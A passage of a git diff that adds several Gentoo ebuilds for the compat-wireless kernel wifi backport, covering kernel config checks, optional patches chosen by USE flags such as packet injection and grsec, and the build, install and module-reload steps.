+		einfo "Run 'unload.sh' then 'udevadm trigger' to cause udev to load the	needed drivers."
+		einfo "If unload.sh fails for some reason you should be able to simply reboot to fix everything and load the new modules."
+	fi
+}
+
+pkg_postrm() {
+	remove_moduledb
+}
diff --git a/net-wireless/compat-wireless/compat-wireless-3.6.2.ebuild b/net-wireless/compat-wireless/compat-wireless-3.6.2.ebuild
new file mode 100644
index 00000000..ce00dd28
--- /dev/null
+++ b/net-wireless/compat-wireless/compat-wireless-3.6.2.ebuild
@@ -0,0 +1,179 @@
+# Copyright 1999-2011 Gentoo Foundation
+# Distributed under the terms of the GNU General Public License v2
+# $Header: $
+
+EAPI="4"
+inherit linux-mod linux-info versionator eutils
+
+##Stable
+
+MY_P=${P/_rc/-rc}
+
+MY_PV=v$(get_version_component_range 1-2)
+DESCRIPTION="Stable kernel pre-release wifi subsystem backport"
+HOMEPAGE="http://wireless.kernel.org/en/users/Download/stable"
+CRAZY_VERSIONING="1-snpc"
+SRC_URI="http://www.orbit-lab.org/kernel/${PN}-3-stable/${MY_PV}/${MY_P}-${CRAZY_VERSIONING}.tar.bz2"
+
+LICENSE="GPL-2"
+SLOT="0"
+KEYWORDS="~amd64 ~arm ~x86"
+IUSE="+alx ath9k_htc atheros_obey_crda bluetooth b43 b44 debugfs debug-driver full-debug injection livecd loadmodules noleds pax_kernel"
+
+DEPEND="!net-wireless/compat-wireless-builder"
+RDEPEND="${DEPEND}
+	>=sys-kernel/linux-firmware-20110219
+	virtual/udev"
+
+S="${WORKDIR}"/"${MY_P}"-${CRAZY_VERSIONING}
+RESTRICT="strip"
+
+CONFIG_CHECK="!DYNAMIC_FTRACE"
+
+pkg_setup() {
+	CONFIG_CHECK="~NET_SCHED"
+	CONFIG_CHECK="~IPW2200_PROMISCUOUS"
+	linux-mod_pkg_setup
+	kernel_is -lt 2 6 27 && die "kernel 2.6.27 or higher is required for compat wireless to be installed"
+	kernel_is -gt $(get_version_component_range 1) $(get_version_component_range 2) $(get_version_component_range 3) && die "The version of compat-wireless you are trying to install contains older modules than your kernel. Failing before downgrading your system."
+
+	#these things are not optional
+	linux_chkconfig_module MAC80211 || die "CONFIG_MAC80211 must be built as a _module_ !"
+	linux_chkconfig_module CFG80211 || die "CONFIG_CFG80211 must be built as a _module_ !"
+	linux_chkconfig_module LIBIPW || ewarn "CONFIG_LIBIPW really should be set or there will be no WEXT compat"
+
+	if use b43; then
+		linux_chkconfig_module SSB || die "You need to enable CONFIG_SSB or USE=-b43"
+	fi
+	if use b44; then
+		linux_chkconfig_module SSB || die "You need to enable CONFIG_SSB or USE=-b44"
+	fi
+}
+
+src_prepare() {
+	use pax_kernel && epatch "${FILESDIR}"/${PN}-3.6-zc-grsec.patch
+
+	#mcgrof said prep for inclusion in compat-wireless.git but this causes issues
+	#find "${S}" -name Makefile | xargs sed -i -e 's/export CONFIG_/export CONFIG_COMPAT_/' -e 's/COMPAT_COMPAT_/COMPAT_/' -e 's/CONFIG_COMPAT_CHECK/CONFIG_CHECK/'
+	#sed -i -e 's/export CONFIG_/export CONFIG_COMPAT_/' -e 's/COMPAT_COMPAT_/COMPAT_/' "${S}"/config.mk
+
+	# CONFIG_CFG80211_REG_DEBUG=y
+	sed -i '/CFG80211_REG_DEBUG/s/^# *//' "${S}"/config.mk
+
+	#this patch ignores the regulatory settings of an atheros card and uses what CRDA thinks is right
+	if use atheros_obey_crda; then
+		ewarn "You have enabled atheros_obey_crda which doesn't do what you think."
+		ewarn "This use flag will cause the eeprom of the card to be ignored and force"
+		ewarn "world roaming on the device until crda provides a valid regdomain."
+		ewarn "Short version, this is not a way to break the law, this will automatically"
+		ewarn "make your card less functional unless you set a proper regdomain with iw/crda."
+		epatch "${FILESDIR}"/ath_regd_optional.patch
+	fi
+
+	if use injection; then
+		epatch "${FILESDIR}"/4002_mac80211-2.6.29-fix-tx-ctl-no-ack-retry-count.patch
+		epatch "${FILESDIR}"/4004_zd1211rw-2.6.28.patch
+	#	epatch "${FILESDIR}"/mac80211.compat08082009.wl_frag+ack_v1.patch
+	#	epatch "${FILESDIR}"/4013-runtime-enable-disable-of-mac80211-packet-injection.patch
+		epatch "${FILESDIR}"/ipw2200-inject.3.4.6.patch
+	fi
+	use noleds && epatch "${FILESDIR}"/leds-disable-strict.patch
+	use debug-driver && sed -i '/DEBUG=y/s/^# *//' "${S}"/config.mk
+	use debugfs && sed -i '/DEBUGFS/s/^# *//' "${S}"/config.mk
+	if use full-debug; then
+		if use debug-driver ; then
+			sed -i '/CONFIG=/s/^# *//' "${S}"/config.mk
+		else
+			ewarn "Enabling full-debug includes debug-driver."
+			sed -i '/DEBUG=/s/^# *//' "${S}"/config.mk
+		fi
+	fi
+#	Disable B44 ethernet driver
+	if ! use b44; then
+		sed -i '/B44=/s/ */#/' "${S}"/config.mk || die "unable to disable B44 driver"
+		sed -i '/B44_PCI=/s/ */#/' "${S}"/config.mk || die "unable to disable B44 driver"
+	fi
+
+#	Disable B43 driver
+	if ! use b43; then
+		sed -i '/B43=/s/ */#/' "${S}"/config.mk || die "unable to disable B43 driver"
+		sed -i '/B43_PCI_AUTOSELECT=/s/ */#/' "${S}"/config.mk || die "unable to disable B43 driver"
+	#CONFIG_B43LEGACY=
+	fi
+
+#	fixme: there are more bluethooth settings in the config.mk
+	if ! use bluetooth; then
+		sed -i '/COMPAT_BLUETOOTH=/s/ */#/' "${S}"/config.mk || die "unable to disable bluetooth driver"
+		sed -i '/COMPAT_BLUETOOTH_MODULES=/s/ */#/' "${S}"/config.mk || die "unable to bluetooth B44 driver"
+	fi
+
+	#enable alx atheros ethernet driver
+	if use alx; then
+		sed -i 's/ALX=n/ALX=m/' "${S}"/config.mk || die "Failed to enable Atheros ALX driver"
+	else
+		sed -i 's/ALX=m/ALX=n/' "${S}"/config.mk || die "Failed to disable Atheros ALX driver"
+	fi
+
+	if use ath9k_htc; then
+		sed -i 's/ATH9K_HTC=n/ATH9K_HTC=m/' "${S}"/config.mk || die "Failed to enable Atheros 9k htc driver"
+	else
+		sed -i 's/ATH9K_HTC=m/ATH9K_HTC=n/' "${S}"/config.mk || die "Failed to disable Atheros 9k htc driver"
+	fi
+
+	#avoid annoying ACCESS DENIED sandbox errors
+	sed -i "s/\${MAKE} -C \${KLIB_BUILD} kernelversion/echo ${KV_FULL}/g" compat/scripts/gen-compat-config.sh || die "sed failed"
+	sed -i "s/shell \$(MAKE) -C \$(KLIB_BUILD) kernelversion/echo ${KV_FULL}/g" config.mk || die "sed failed"
+	sed -i "s/make -C \$KLIB_BUILD kernelversion/echo ${KV_FULL}/g" scripts/gen-compat-autoconf.sh || die "sed failed"
+}
+
+src_compile() {
+	addpredict "${KERNEL_DIR}"
+	set_arch_to_kernel
+	emake KLIB_BUILD="${DESTDIR}"/lib/modules/"${KV_FULL}"/build || die "emake failed"
+}
+
+src_install() {
+	for file in $(find -name \*.ko); do
+		insinto "/lib/modules/${KV_FULL}/updates/$(dirname ${file})"
+		doins "${file}"
+	done
+	dosbin scripts/athenable scripts/b43load scripts/iwl-enable \
+		scripts/madwifi-unload scripts/athload scripts/iwl-load \
+		scripts/b43enable scripts/unload.sh
+
+	dodir /usr/lib/compat-wireless
+	exeinto /usr/lib/compat-wireless
+	doexe scripts/modlib.sh
+
+	dodoc README
+	dodir /$(get_libdir)/udev/rules.d/
+	insinto /$(get_libdir)/udev/rules.d/
+	doins udev/50-compat_firmware.rules
+	exeinto /$(get_libdir)/udev/
+	doexe udev/compat_firmware.sh
+}
+
+pkg_postinst() {
+	update_depmod
+	update_moduledb
+
+	if use !livecd; then
+		if use loadmodules; then
+			einfo "Attempting to unload modules..."
+			/usr/sbin/unload.sh 2>&1 | grep -E FATAL && ewarn "Unable to remove running modules, system may be unhappy, reboot HIGHLY recommended!"
+			einfo "Triggering automatic reload of needed modules..."
+			/sbin/udevadm trigger
+			einfo "We have attempted to load your new modules for you, this may fail horribly, or may just cause a network hiccup."
+			einfo "If you experience any issues reboot is the simplest course of action."
+		fi
+	fi
+	if use !loadmodules; then
+		einfo "You didn't USE=loadmodules but you can still attempt to switch to the new drivers without reboot."
+		einfo "Run 'unload.sh' then 'udevadm trigger' to cause udev to load the	needed drivers."
+		einfo "If unload.sh fails for some reason you should be able to simply reboot to fix everything and load the new modules."
+	fi
+}
+
+pkg_postrm() {
+	remove_moduledb
+}
diff --git a/net-wireless/compat-wireless/compat-wireless-3.6.6-r1.ebuild b/net-wireless/compat-wireless/compat-wireless-3.6.6-r1.ebuild
new file mode 100644
index 00000000..ba1fd8f0
--- /dev/null
+++ b/net-wireless/compat-wireless/compat-wireless-3.6.6-r1.ebuild
@@ -0,0 +1,181 @@
+# Copyright 1999-2013 Gentoo Foundation
+# Distributed under the terms of the GNU General Public License v2
+# $Header: $
+
+EAPI=5
+inherit linux-mod linux-info versionator eutils
+
+MY_P=${P/_rc/-rc}
+
+MY_PV=v$(get_version_component_range 1-2)
+DESCRIPTION="Stable kernel pre-release wifi subsystem backport"
+HOMEPAGE="http://wireless.kernel.org/en/users/Download/stable"
+CRAZY_VERSIONING="1-snpc"
+SRC_URI="http://www.orbit-lab.org/kernel/${PN}-3-stable/${MY_PV}/${MY_P}-${CRAZY_VERSIONING}.tar.bz2"
+
+LICENSE="GPL-2"
+SLOT="0"
+KEYWORDS="~amd64 ~arm ~x86"
+IUSE="+alx +ath9k_htc atheros_obey_crda bluetooth b43 b44 debugfs debug-driver full-debug injection livecd loadmodules noleds pax_kernel"
+
+DEPEND="!net-wireless/compat-wireless-builder"
+RDEPEND="${DEPEND}
+	>=sys-kernel/linux-firmware-20110219
+	virtual/udev"
+
+S="${WORKDIR}/${MY_P}-${CRAZY_VERSIONING}"
+RESTRICT="strip"
+
+CONFIG_CHECK="!DYNAMIC_FTRACE"
+
+pkg_setup() {
+	CONFIG_CHECK="~NET_SCHED"
+	CONFIG_CHECK="~IPW2200_PROMISCUOUS"
+	linux-mod_pkg_setup
+	kernel_is -lt 2 6 27 && die "kernel 2.6.27 or higher is required for compat wireless to be installed"
+	kernel_is -gt $(get_version_component_range 1) $(get_version_component_range 2) $(get_version_component_range 3) && die "The version of compat-wireless you are trying to install contains older modules than your kernel. Failing before downgrading your system."
+
+	#these things are not optional
+	linux_chkconfig_module MAC80211 || die "CONFIG_MAC80211 must be built as a _module_ !"
+	linux_chkconfig_module CFG80211 || die "CONFIG_CFG80211 must be built as a _module_ !"
+	linux_chkconfig_module LIBIPW || ewarn "CONFIG_LIBIPW really should be set or there will be no WEXT compat"
+
+	if use b43; then
+		linux_chkconfig_module SSB || die "You need to enable CONFIG_SSB or USE=-b43"
+	fi
+	if use b44; then
+		linux_chkconfig_module SSB || die "You need to enable CONFIG_SSB or USE=-b44"
+	fi
+}
+
+src_prepare() {
+	use pax_kernel && epatch "${FILESDIR}"/${P}-grsec.patch
+	use pax_kernel && epatch "${FILESDIR}"/${P}-grsec-warnings.patch
+
+	#mcgrof said prep for inclusion in compat-wireless.git but this causes issues
+	#find "${S}" -name Makefile | xargs sed -i -e 's/export CONFIG_/export CONFIG_COMPAT_/' -e 's/COMPAT_COMPAT_/COMPAT_/' -e 's/CONFIG_COMPAT_CHECK/CONFIG_CHECK/'
+	#sed -i -e 's/export CONFIG_/export CONFIG_COMPAT_/' -e 's/COMPAT_COMPAT_/COMPAT_/' "${S}"/config.mk
+
+	# CONFIG_CFG80211_REG_DEBUG=y
+	sed -i '/CFG80211_REG_DEBUG/s/^# *//' "${S}"/config.mk
+
+	#this patch ignores the regulatory settings of an atheros card and uses what CRDA thinks is right
+	if use atheros_obey_crda; then
+		ewarn "You have enabled atheros_obey_crda which doesn't do what you think."
+		ewarn "This use flag will cause the eeprom of the card to be ignored and force"
+		ewarn "world roaming on the device until crda provides a valid regdomain."
+		ewarn "Short version, this is not a way to break the law, this will automatically"
+		ewarn "make your card less functional unless you set a proper regdomain with iw/crda."
+		epatch "${FILESDIR}"/ath_regd_optional.patch
+	fi
+
+	if use injection; then
+		epatch "${FILESDIR}"/4002_mac80211-2.6.29-fix-tx-ctl-no-ack-retry-count.patch
+		epatch "${FILESDIR}"/4004_zd1211rw-2.6.28.patch
+	#	epatch "${FILESDIR}"/mac80211.compat08082009.wl_frag+ack_v1.patch
+	#	epatch "${FILESDIR}"/4013-runtime-enable-disable-of-mac80211-packet-injection.patch
+		epatch "${FILESDIR}"/ipw2200-inject.3.4.6.patch
+	fi
+	if use noleds; then
+		sed -ir 's/^\(export CONFIG_.*_LEDS=\)y$/\1n/' config.mk
+		epatch "${FILESDIR}/leds-disable-strict-${PV}.patch"
+	fi
+	use debug-driver && sed -i '/DEBUG=y/s/^# *//' "${S}"/config.mk
+	use debugfs && sed -i '/DEBUGFS/s/^# *//' "${S}"/config.mk
+	if use full-debug; then
+		if use debug-driver ; then
+			sed -i '/CONFIG=/s/^# *//' "${S}"/config.mk
+		else
+			ewarn "Enabling full-debug includes debug-driver."
+			sed -i '/DEBUG=/s/^# *//' "${S}"/config.mk
+		fi
+	fi
+#	Disable B44 ethernet driver
+	if ! use b44; then
+		sed -i '/B44=/s/ */#/' "${S}"/config.mk || die "unable to disable B44 driver"
+		sed -i '/B44_PCI=/s/ */#/' "${S}"/config.mk || die "unable to disable B44 driver"
+	fi
+
+#	Disable B43 driver
+	if ! use b43; then
+		sed -i '/B43=/s/ */#/' "${S}"/config.mk || die "unable to disable B43 driver"
+		sed -i '/B43_PCI_AUTOSELECT=/s/ */#/' "${S}"/config.mk || die "unable to disable B43 driver"
+	#CONFIG_B43LEGACY=
+	fi
+
+#	fixme: there are more bluethooth settings in the config.mk
+	if ! use bluetooth; then
+		sed -i '/COMPAT_BLUETOOTH=/s/ */#/' "${S}"/config.mk || die "unable to disable bluetooth driver"
+		sed -i '/COMPAT_BLUETOOTH_MODULES=/s/ */#/' "${S}"/config.mk || die "unable to bluetooth B44 driver"
+	fi
+
+	#enable alx atheros ethernet driver
+	if use alx; then
+		sed -i 's/ALX=n/ALX=m/' "${S}"/config.mk || die "Failed to enable Atheros ALX driver"
+	else
+		sed -i 's/ALX=m/ALX=n/' "${S}"/config.mk || die "Failed to disable Atheros ALX driver"
+	fi
+
+	if use ath9k_htc; then
+		sed -i 's/ATH9K_HTC=n/ATH9K_HTC=m/' "${S}"/config.mk || die "Failed to enable Atheros 9k htc driver"
+	else
+		sed -i 's/ATH9K_HTC=m/ATH9K_HTC=n/' "${S}"/config.mk || die "Failed to disable Atheros 9k htc driver"
+	fi
+
+	#avoid annoying ACCESS DENIED sandbox errors
+	sed -i "s/\${MAKE} -C \${KLIB_BUILD} kernelversion/echo ${KV_FULL}/g" compat/scripts/gen-compat-config.sh || die "sed failed"
+	sed -i "s/shell \$(MAKE) -C \$(KLIB_BUILD) kernelversion/echo ${KV_FULL}/g" config.mk || die "sed failed"
+	sed -i "s/make -C \$KLIB_BUILD kernelversion/echo ${KV_FULL}/g" scripts/gen-compat-autoconf.sh || die "sed failed"
+}
+
+src_compile() {
+	addpredict "${KERNEL_DIR}"
+	set_arch_to_kernel
+	emake KLIB_BUILD="${DESTDIR}"/lib/modules/"${KV_FULL}"/build || die "emake failed"
+}
+
+src_install() {
+	for file in $(find -name \*.ko); do
+		insinto "/lib/modules/${KV_FULL}/updates/$(dirname ${file})"
+		doins "${file}"
+	done
+	dosbin scripts/athenable scripts/b43load scripts/iwl-enable \
+		scripts/madwifi-unload scripts/athload scripts/iwl-load \
+		scripts/b43enable scripts/unload.sh
+
+	dodir /usr/lib/compat-wireless
+	exeinto /usr/lib/compat-wireless
+	doexe scripts/modlib.sh
+
+	dodoc README
+	dodir /$(get_libdir)/udev/rules.d/
+	insinto /$(get_libdir)/udev/rules.d/
+	doins udev/50-compat_firmware.rules
+	exeinto /$(get_libdir)/udev/
+	doexe udev/compat_firmware.sh
+}
+
+pkg_postinst() {
+	update_depmod
+	update_moduledb
+
+	if use !livecd; then
+		if use loadmodules; then
+			einfo "Attempting to unload modules..."
+			/usr/sbin/unload.sh 2>&1 | grep -E FATAL && ewarn "Unable to remove running modules, system may be unhappy, reboot HIGHLY recommended!"
+			einfo "Triggering automatic reload of needed modules..."
+			/sbin/udevadm trigger
+			einfo "We have attempted to load your new modules for you, this may fail horribly, or may just cause a network hiccup."
+			einfo "If you experience any issues reboot is the simplest course of action."
+		fi
+	fi
+	if use !loadmodules; then
+		einfo "You didn't USE=loadmodules but you can still attempt to switch to the new drivers without reboot."
+		einfo "Run 'unload.sh' then 'udevadm trigger' to cause udev to load the	needed drivers."
+		einfo "If unload.sh fails for some reason you should be able to simply reboot to fix everything and load the new modules."
+	fi
+}
+
+pkg_postrm() {
+	remove_moduledb
+}
diff --git a/net-wireless/compat-wireless/compat-wireless-3.6.6.ebuild b/net-wireless/compat-wireless/compat-wireless-3.6.6.ebuild
new file mode 100644
index 00000000..8a38ec13
--- /dev/null
+++ b/net-wireless/compat-wireless/compat-wireless-3.6.6.ebuild
@@ -0,0 +1,179 @@
+# Copyright 1999-2011 Gentoo Foundation
+# Distributed under the terms of the GNU General Public License v2
+# $Header: $
+
+EAPI="4"
+inherit linux-mod linux-info versionator eutils
+
+##Stable
+
+MY_P=${P/_rc/-rc}
+
+MY_PV=v$(get_version_component_range 1-2)
+DESCRIPTION="Stable kernel pre-release wifi subsystem backport"
+HOMEPAGE="http://wireless.kernel.org/en/users/Download/stable"
+CRAZY_VERSIONING="1-snpc"
+SRC_URI="http://www.orbit-lab.org/kernel/${PN}-3-stable/${MY_PV}/${MY_P}-${CRAZY_VERSIONING}.tar.bz2"
+
+LICENSE="GPL-2"
+SLOT="0"
+KEYWORDS="~amd64 ~arm ~x86"
+IUSE="+alx +ath9k_htc atheros_obey_crda bluetooth b43 b44 debugfs debug-driver full-debug injection livecd loadmodules noleds pax_kernel"
+
+DEPEND="!net-wireless/compat-wireless-builder"
+RDEPEND="${DEPEND}
+	>=sys-kernel/linux-firmware-20110219
+	virtual/udev"
+
+S="${WORKDIR}"/"${MY_P}"-${CRAZY_VERSIONING}
+RESTRICT="strip"
+
+CONFIG_CHECK="!DYNAMIC_FTRACE"
+
+pkg_setup() {
+	CONFIG_CHECK="~NET_SCHED"
+	CONFIG_CHECK="~IPW2200_PROMISCUOUS"
+	linux-mod_pkg_setup
+	kernel_is -lt 2 6 27 && die "kernel 2.6.27 or higher is required for compat wireless to be installed"
+	kernel_is -gt $(get_version_component_range 1) $(get_version_component_range 2) $(get_version_component_range 3) && die "The version of compat-wireless you are trying to install contains older modules than your kernel. Failing before downgrading your system."
+
+	#these things are not optional
+	linux_chkconfig_module MAC80211 || die "CONFIG_MAC80211 must be built as a _module_ !"
+	linux_chkconfig_module CFG80211 || die "CONFIG_CFG80211 must be built as a _module_ !"
+	linux_chkconfig_module LIBIPW || ewarn "CONFIG_LIBIPW really should be set or there will be no WEXT compat"
+
+	if use b43; then
+		linux_chkconfig_module SSB || die "You need to enable CONFIG_SSB or USE=-b43"
+	fi
+	if use b44; then
+		linux_chkconfig_module SSB || die "You need to enable CONFIG_SSB or USE=-b44"
+	fi
+}
+
+src_prepare() {
+	use pax_kernel && epatch "${FILESDIR}"/${PN}-3.6-zc-grsec.patch
+
+	#mcgrof said prep for inclusion in compat-wireless.git but this causes issues
+	#find "${S}" -name Makefile | xargs sed -i -e 's/export CONFIG_/export CONFIG_COMPAT_/' -e 's/COMPAT_COMPAT_/COMPAT_/' -e 's/CONFIG_COMPAT_CHECK/CONFIG_CHECK/'
+	#sed -i -e 's/export CONFIG_/export CONFIG_COMPAT_/' -e 's/COMPAT_COMPAT_/COMPAT_/' "${S}"/config.mk
+
+	# CONFIG_CFG80211_REG_DEBUG=y
+	sed -i '/CFG80211_REG_DEBUG/s/^# *//' "${S}"/config.mk
+
+	#this patch ignores the regulatory settings of an atheros card and uses what CRDA thinks is right
+	if use atheros_obey_crda; then
+		ewarn "You have enabled atheros_obey_crda which doesn't do what you think."
+		ewarn "This use flag will cause the eeprom of the card to be ignored and force"
+		ewarn "world roaming on the device until crda provides a valid regdomain."
+		ewarn "Short version, this is not a way to break the law, this will automatically"
+		ewarn "make your card less functional unless you set a proper regdomain with iw/crda."
+		epatch "${FILESDIR}"/ath_regd_optional.patch
+	fi
+
+	if use injection; then
+		epatch "${FILESDIR}"/4002_mac80211-2.6.29-fix-tx-ctl-no-ack-retry-count.patch
+		epatch "${FILESDIR}"/4004_zd1211rw-2.6.28.patch
+	#	epatch "${FILESDIR}"/mac80211.compat08082009.wl_frag+ack_v1.patch
+	#	epatch "${FILESDIR}"/4013-runtime-enable-disable-of-mac80211-packet-injection.patch
+		epatch "${FILESDIR}"/ipw2200-inject.3.4.6.patch
+	fi
+	use noleds && epatch "${FILESDIR}"/leds-disable-strict.patch
+	use debug-driver && sed -i '/DEBUG=y/s/^# *//' "${S}"/config.mk
+	use debugfs && sed -i '/DEBUGFS/s/^# *//' "${S}"/config.mk
+	if use full-debug; then
+		if use debug-driver ; then
+			sed -i '/CONFIG=/s/^# *//' "${S}"/config.mk
+		else
+			ewarn "Enabling full-debug includes debug-driver."
+			sed -i '/DEBUG=/s/^# *//' "${S}"/config.mk
+		fi
+	fi
+#	Disable B44 ethernet driver
+	if ! use b44; then
+		sed -i '/B44=/s/ */#/' "${S}"/config.mk || die "unable to disable B44 driver"
+		sed -i '/B44_PCI=/s/ */#/' "${S}"/config.mk || die "unable to disable B44 driver"
+	fi
+
+#	Disable B43 driver
+	if ! use b43; then
+		sed -i '/B43=/s/ */#/' "${S}"/config.mk || die "unable to disable B43 driver"
+		sed -i '/B43_PCI_AUTOSELECT=/s/ */#/' "${S}"/config.mk || die "unable to disable B43 driver"
+	#CONFIG_B43LEGACY=
+	fi
+
+#	fixme: there are more bluethooth settings in the config.mk
+	if ! use bluetooth; then
+		sed -i '/COMPAT_BLUETOOTH=/s/ */#/' "${S}"/config.mk || die "unable to disable bluetooth driver"
+		sed -i '/COMPAT_BLUETOOTH_MODULES=/s/ */#/' "${S}"/config.mk || die "unable to bluetooth B44 driver"
+	fi
+
+	#enable alx atheros ethernet driver
+	if use alx; then
+		sed -i 's/ALX=n/ALX=m/' "${S}"/config.mk || die "Failed to enable Atheros ALX driver"
+	else
+		sed -i 's/ALX=m/ALX=n/' "${S}"/config.mk || die "Failed to disable Atheros ALX driver"
+	fi
+
+	if use ath9k_htc; then
+		sed -i 's/ATH9K_HTC=n/ATH9K_HTC=m/' "${S}"/config.mk || die "Failed to enable Atheros 9k htc driver"
+	else
+		sed -i 's/ATH9K_HTC=m/ATH9K_HTC=n/' "${S}"/config.mk || die "Failed to disable Atheros 9k htc driver"
+	fi
+
+	#avoid annoying ACCESS DENIED sandbox errors
+	sed -i "s/\${MAKE} -C \${KLIB_BUILD} kernelversion/echo ${KV_FULL}/g" compat/scripts/gen-compat-config.sh || die "sed failed"
+	sed -i "s/shell \$(MAKE) -C \$(KLIB_BUILD) kernelversion/echo ${KV_FULL}/g" config.mk || die "sed failed"
+	sed -i "s/make -C \$KLIB_BUILD kernelversion/echo ${KV_FULL}/g" scripts/gen-compat-autoconf.sh || die "sed failed"
+}
+
+src_compile() {
+	addpredict "${KERNEL_DIR}"
+	set_arch_to_kernel
+	emake KLIB_BUILD="${DESTDIR}"/lib/modules/"${KV_FULL}"/build || die "emake failed"
+}
+
+src_install() {
+	for file in $(find -name \*.ko); do
+		insinto "/lib/modules/${KV_FULL}/updates/$(dirname ${file})"
+		doins "${file}"
+	done
+	dosbin scripts/athenable scripts/b43load scripts/iwl-enable \
+		scripts/madwifi-unload scripts/athload scripts/iwl-load \
+		scripts/b43enable scripts/unload.sh
+
+	dodir /usr/lib/compat-wireless
+	exeinto /usr/lib/compat-wireless
+	doexe scripts/modlib.sh
+
+	dodoc README
+	dodir /$(get_libdir)/udev/rules.d/
+	insinto /$(get_libdir)/udev/rules.d/
+	doins udev/50-compat_firmware.rules
+	exeinto /$(get_libdir)/udev/
+	doexe udev/compat_firmware.sh
+}
+
+pkg_postinst() {
+	update_depmod
+	update_moduledb
+
+	if use !livecd; then
+		if use loadmodules; then
+			einfo "Attempting to unload modules..."
+			/usr/sbin/unload.sh 2>&1 | grep -E FATAL && ewarn "Unable to remove running modules, system may be unhappy, reboot HIGHLY recommended!"
+			einfo "Triggering automatic reload of needed modules..."
+			/sbin/udevadm trigger
+			einfo "We have attempted to load your new modules for you, this may fail horribly, or may just cause a network hiccup."
+			einfo "If you experience any issues reboot is the simplest course of action."
+		fi
+	fi
+	if use !loadmodules; then
+		einfo "You didn't USE=loadmodules but you can still attempt to switch to the new drivers without reboot."
+		einfo "Run 'unload.sh' then 'udevadm trigger' to cause udev to load the	needed drivers."
+		einfo "If unload.sh fails for some reason you should be able to simply reboot to fix everything and load the new modules."
+	fi
+}
+
+pkg_postrm() {
+	remove_moduledb
+}
diff --git a/net-wireless/compat-wireless/compat-wireless-3.6_rc5.ebuild b/net-wireless/compat-wireless/compat-wireless-3.6_rc5.ebuild
new file mode 100644
index 00000000..14cce0f1
--- /dev/null
+++ b/net-wireless/compat-wireless/compat-wireless-3.6_rc5.ebuild
@@ -0,0 +1,172 @@
+# Copyright 1999-2011 Gentoo Foundation
+# Distributed under the terms of the GNU General Public License v2
+# $Header: $
+
+EAPI="4"
+inherit linux-mod linux-info versionator eutils
+
+##Stable
+
+MY_P=${P/_rc/-rc}
+
+MY_PV=v$(get_version_component_range 1-2)
+DESCRIPTION="Stable kernel pre-release wifi subsystem backport"
+HOMEPAGE="http://wireless.kernel.org/en/users/Download/stable"
+CRAZY_VERSIONING="1-c"
+SRC_URI="http://www.orbit-lab.org/kernel/${PN}-3.0-stable/${MY_PV}/${MY_P}-${CRAZY_VERSIONING}.tar.bz2"
+
+LICENSE="GPL-2"
+SLOT="0"
+KEYWORDS=""
+#KEYWORDS="~amd64 ~arm ~x86"
+IUSE="atheros_obey_crda bluetooth b43 b44 debugfs debug-driver full-debug injection livecd loadmodules noleds pax_kernel"
+
+DEPEND="!net-wireless/compat-wireless-builder"
+RDEPEND="${DEPEND}
+	>=sys-kernel/linux-firmware-20110219
+	virtual/udev"
+
+S="${WORKDIR}"/"${MY_P}"-${CRAZY_VERSIONING}
+RESTRICT="strip"
+
+CONFIG_CHECK="!DYNAMIC_FTRACE"
+
+pkg_setup() {
+	CONFIG_CHECK="~NET_SCHED"
+	CONFIG_CHECK="~IPW2200_PROMISCUOUS"
+	linux-mod_pkg_setup
+	kernel_is -lt 2 6 27 && die "kernel 2.6.27 or higher is required for compat wireless to be installed"
+	kernel_is -gt $(get_version_component_range 1) $(get_version_component_range 2) $(get_version_component_range 3) && die "The version of compat-wireless you are trying to install contains older modules than your kernel. Failing before downgrading your system."
+
+	#these things are not optional
+	linux_chkconfig_module MAC80211 || die "CONFIG_MAC80211 must be built as a _module_ !"
+	linux_chkconfig_module CFG80211 || die "CONFIG_CFG80211 must be built as a _module_ !"
+	linux_chkconfig_module LIBIPW || ewarn "CONFIG_LIBIPW really should be set or there will be no WEXT compat"
+
+	if use b43; then
+		linux_chkconfig_module SSB || die "You need to enable CONFIG_SSB or USE=-b43"
+	fi
+	if use b44; then
+		linux_chkconfig_module SSB || die "You need to enable CONFIG_SSB or USE=-b44"
+	fi
+}
+
+src_prepare() {
+	use pax_kernel && epatch "${FILESDIR}"/${PN}-3.5-grsec.patch
+	use pax_kernel && epatch "${FILESDIR}"/${PN}-3.5-grsec2.patch
+	use pax_kernel && epatch "${FILESDIR}"/${PN}-3.6-grsec.patch
+
+	#mcgrof said prep for inclusion in compat-wireless.git but this causes issues
+	#find "${S}" -name Makefile | xargs sed -i -e 's/export CONFIG_/export CONFIG_COMPAT_/' -e 's/COMPAT_COMPAT_/COMPAT_/' -e 's/CONFIG_COMPAT_CHECK/CONFIG_CHECK/'
+	#sed -i -e 's/export CONFIG_/export CONFIG_COMPAT_/' -e 's/COMPAT_COMPAT_/COMPAT_/' "${S}"/config.mk
+
+	# CONFIG_CFG80211_REG_DEBUG=y
+	sed -i '/CFG80211_REG_DEBUG/s/^# *//' "${S}"/config.mk
+
+	#this patch ignores the regulatory settings of an atheros card and uses what CRDA thinks is right
+	if use atheros_obey_crda; then
+		ewarn "You have enabled atheros_obey_crda which doesn't do what you think."
+		ewarn "This use flag will cause the eeprom of the card to be ignored and force"
+		ewarn "world roaming on the device until crda provides a valid regdomain."
+		ewarn "Short version, this is not a way to break the law, this will automatically"
+		ewarn "make your card less functional unless you set a proper regdomain with iw/crda."
+		epatch "${FILESDIR}"/ath_regd_optional.patch
+	fi
+
+	if use injection; then
+		epatch "${FILESDIR}"/4002_mac80211-2.6.29-fix-tx-ctl-no-ack-retry-count.patch
+		epatch "${FILESDIR}"/4004_zd1211rw-2.6.28.patch
+	#	epatch "${FILESDIR}"/mac80211.compat08082009.wl_frag+ack_v1.patch
+	#	epatch "${FILESDIR}"/4013-runtime-enable-disable-of-mac80211-packet-injection.patch
+		epatch "${FILESDIR}"/ipw2200-inject.3.4.6.patch
+	fi
+	use noleds && epatch "${FILESDIR}"/leds-disable-strict.patch
+	use debug-driver && sed -i '/DEBUG=y/s/^# *//' "${S}"/config.mk
+	use debugfs && sed -i '/DEBUGFS/s/^# *//' "${S}"/config.mk
+	if use full-debug; then
+		if use debug-driver ; then
+			sed -i '/CONFIG=/s/^# *//' "${S}"/config.mk
+		else
+			ewarn "Enabling full-debug includes debug-driver."
+			sed -i '/DEBUG=/s/^# *//' "${S}"/config.mk
+		fi
+	fi
+#	Disable B44 ethernet driver
+	if ! use b44; then
+		sed -i '/B44=/s/ */#/' "${S}"/config.mk || die "unable to disable B44 driver"
+		sed -i '/B44_PCI=/s/ */#/' "${S}"/config.mk || die "unable to disable B44 driver"
+	fi
+
+#	Disable B43 driver
+	if ! use b43; then
